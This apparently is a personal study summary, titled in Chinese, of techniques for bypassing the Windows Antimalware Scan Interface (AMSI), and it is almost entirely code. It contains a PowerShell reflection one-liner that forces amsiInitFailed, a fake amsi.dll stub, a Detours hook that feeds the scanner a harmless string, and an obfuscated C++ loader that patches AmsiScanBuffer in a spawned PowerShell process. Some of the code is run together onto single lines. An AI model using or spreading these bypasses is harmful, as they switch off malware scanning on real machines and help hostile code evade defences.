ASMI学习-总结

$a="amsiInitFaile"
$a=$a+[string]([char]100)
$b="System.Management.Automation.AmsiUtil"
$b=$b+[string]([char]115)
[Ref].Assembly.GetType($b).GetField($a,'NonPublic,Static').SetValue($null,$true)

#include "pch.h"#include <iostream>
BOOL APIENTRY DllMain(HMODULE hModule,    DWORD  ul_reason_for_call,    LPVOID lpReserved){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:    {

    }    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}LPCWSTR appName = NULL;typedef struct HAMSICONTEXT {    DWORD       Signature;            // "AMSI" or 0x49534D41    PWCHAR      AppName;           // set by AmsiInitialize    DWORD       Antimalware;       // set by AmsiInitialize    DWORD       SessionCount;      // increased by AmsiOpenSession} HAMSICONTEXT;typedef enum AMSI_RESULT {    AMSI_RESULT_CLEAN,    AMSI_RESULT_NOT_DETECTED,    AMSI_RESULT_BLOCKED_BY_ADMIN_START,    AMSI_RESULT_BLOCKED_BY_ADMIN_END,    AMSI_RESULT_DETECTED} AMSI_RESULT;
typedef struct HAMSISESSION {    DWORD test;} HAMSISESSION;
typedef struct r {    DWORD r;};
void AmsiInitialize(LPCWSTR appName, HAMSICONTEXT* amsiContext) {};void AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION* amsiSession) {};void AmsiCloseSession(HAMSICONTEXT amsiContext, HAMSISESSION amsiSession) {};void AmsiResultIsMalware(r) {};void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {};void AmsiScanString(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {};void AmsiUninitialize(HAMSICONTEXT amsiContext) {};

#include "pch.h"#include <Windows.h>#include "detours.h"#include <amsi.h>#include <iostream>#pragma comment(lib,"C:\\Users\\admin\\source\\repos\\MsMpEng\\detours_x64.lib")#pragma comment(lib, "amsi.lib")
#define SAFE "SafeString"
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,    PVOID buffer, ULONG length,    LPCWSTR contentName,    HAMSISESSION amsiSession,    AMSI_RESULT* result) = AmsiScanBuffer;
//Our user controlled AmsiScanBuffer__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,    PVOID buffer, ULONG length,    LPCWSTR contentName,    HAMSISESSION amsiSession,    AMSI_RESULT* result) {
    std::cout << "[+] AmsiScanBuffer called" << std::endl;    std::cout << "[+] Buffer " << buffer << std::endl;    std::cout << "[+] Buffer Length " << length << std::endl;    return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);}
BOOL APIENTRY DllMain(HMODULE hModule,    DWORD  dwReason,    LPVOID lpReserved){    if (DetourIsHelperProcess()) {        return TRUE;    }
    if (dwReason == DLL_PROCESS_ATTACH) {        AllocConsole();        freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
        DetourRestoreAfterWith();        DetourTransactionBegin();        DetourUpdateThread(GetCurrentThread());
        DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);        DetourTransactionCommit();
    }    else if (dwReason == DLL_PROCESS_DETACH) {        DetourTransactionBegin();        DetourUpdateThread(GetCurrentThread());        DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);        DetourTransactionCommit();        FreeConsole();    }    return TRUE;}

#include <Windows.h>#include <stdio.h>#include <TlHelp32.h>#include <iostream>
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);typedef NTSTATUS(NTAPI* pZwWriteVirtualMemory)(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
typedef HMODULE (NTAPI* LoadLibrars)(   LPCSTR lpLibFileName);int main() {
  STARTUPINFOA si = { 0 };  PROCESS_INFORMATION pi = { 0 };  si.cb = sizeof(si);
  char str1[12] = "lld.i";  char str11[12] = "sma";  _strrev(str1);  _strrev(str11);   char str2[20] = "reffuBna";  char str22[20] = "cSismA";  strcat_s(str11, str1);  _strrev(str2);  _strrev(str22);  strcat_s(str22, str2);  char str3[30] = "exe.llehsrewop";  char str[30] = " -NoExit dir";  _strrev(str3);  strcat_s(str3, str);

  std::cout << "[+] Start to att AMbypass " << std::endl;  CreateProcessA(NULL, (LPSTR)str3, NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);  HMODULE hModule1 = LoadLibraryW(L"kernel32.dll");
  LoadLibrars LoadLibraryA = (LoadLibrars)GetProcAddress(hModule1, "LoadLibraryA");  //HMODULE Springam = LoadLibraryA(str11);  HMODULE hModule = LoadLibraryA(_strrev(_strrev(str11)));  LPVOID PSpringbuffer = GetProcAddress(hModule, str22);
 
  DWORD got;  char server = 0xc3;
  VirtualProtectEx(pi.hProcess, (LPVOID)PSpringbuffer, 1, PAGE_EXECUTE_READWRITE, &got);  WriteProcessMemory(pi.hProcess, (LPVOID)PSpringbuffer, &server, sizeof(char), NULL);  VirtualProtectEx(pi.hProcess, (LPVOID)PSpringbuffer, 1, got, NULL);  CloseHandle(pi.hProcess);  CloseHandle(pi.hThread);  //FreeLibrary(Springam);  return 0;





 
}